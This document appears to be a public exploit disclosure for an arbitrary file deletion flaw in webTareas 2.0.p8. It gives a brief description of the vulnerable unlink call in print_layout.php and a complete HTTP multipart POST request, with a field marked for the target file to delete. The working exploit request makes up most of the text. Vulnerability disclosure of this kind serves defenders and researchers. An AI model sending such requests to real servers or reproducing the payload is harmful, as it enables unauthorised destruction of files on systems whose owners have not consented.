webTareas 2.0.p8 Arbitrary File Deletion

`# Exploit Title: webTareas 2.0.p8 - Arbitrary File Deletion  
# Date: 2020-05-02  
# Author: Besim ALTINOK  
# Vendor Homepage: https://sourceforge.net/projects/webtareas/files/  
# Software Link: https://sourceforge.net/projects/webtareas/files/  
# Version: v2.0.p8  
# Tested on: Xampp  
# Credit: İsmail BOZKURT  
  
  
Description:  
--------------------------------------------------------------------------------------  
  
- print_layout.php is vulnerable. When you sent PoC code to the server and  
If there is no file on the server, you can see, this error message  
  
<br />  
<b>Warning</b>:  
unlink(/Applications/XAMPP/xamppfiles/htdocs/webtareas/files/PrintLayouts/tester.png.php--1.zip):  
No such file or directory in  
<b>/Applications/XAMPP/xamppfiles/htdocs/webtareas/includes/library.php</b>  
on line <b>1303</b><br />  
  
- So, Here, you can delete file with unlink function.  
- And, I ddi try again with another file, I deleted from the server.  
--------------------------------------------------------------------------------------------  
  
Arbitrary File Deletion PoC  
---------------------------------------------------------------------------------------  
  
POST  
/webtareas/administration/print_layout.php?doc_type=11&doc_type_ex=&id=1&mode=edit&borne1=0  
HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 ***********************  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://localhost/webtareas/administration/print_layout.php?doc_type=11&doc_type_ex=&mode=edit&borne1=0&id=1  
Content-Type: multipart/form-data;  
boundary=---------------------------3678767312987982041084647942  
Content-Length: 882  
DNT: 1  
Connection: close  
Cookie: webTareasSID=4b6a4799c9e7906a06c574dc48ffb730;  
PHPSESSIDwebERPteam=9b2b068ea2de93ed1ee0aafe27818191  
Upgrade-Insecure-Requests: 1  
  
-----------------------------3678767312987982041084647942  
Content-Disposition: form-data; name="action"  
  
edit  
-----------------------------3678767312987982041084647942  
Content-Disposition: form-data; name="desc"  
  
<p>tester</p>  
-----------------------------3678767312987982041084647942  
Content-Disposition: form-data; name="file1"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------3678767312987982041084647942  
Content-Disposition: form-data; name="attnam1"  
  
  
-----------------------------3678767312987982041084647942  
Content-Disposition: form-data; name="atttmp1"  
  
--add the delete file name here--  
-----------------------------3678767312987982041084647942  
Content-Disposition: form-data; name="sp"  
  
  
-----------------------------3678767312987982041084647942--  
`